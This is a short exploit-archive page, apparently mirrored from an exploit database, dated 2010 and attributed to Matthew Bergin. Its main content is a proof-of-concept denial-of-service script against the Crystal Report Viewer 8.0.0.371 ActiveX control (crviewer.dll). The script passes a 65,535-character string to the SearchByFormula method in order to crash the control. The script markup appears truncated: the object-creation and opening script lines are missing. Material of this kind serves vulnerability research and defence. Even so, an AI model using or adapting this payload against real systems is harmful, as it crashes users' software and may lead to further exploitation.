Crystal Report Viewer 8.0.0.371 – ActiveX Denial of Service - 体验盒子

作者： Matthew Bergin

日期： 2010-11-03

类别：

平台：

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

<html>

Crystal Reporting Viewer v8.0.0.371

Author: Matthew Bergin

Website: www.berginpentesting.com

Website: www.smashthestack.org

targetFile = "C:\WINDOWS\system32\crviewer.dll"

prototype= "Sub SearchByFormula ( ByVal formula As String )"

memberName = "SearchByFormula"

progid = "CRVIEWERLib.CRViewer"

argCount = 1

arg1=String(65535, "A")

target.SearchByFormula arg1

</script>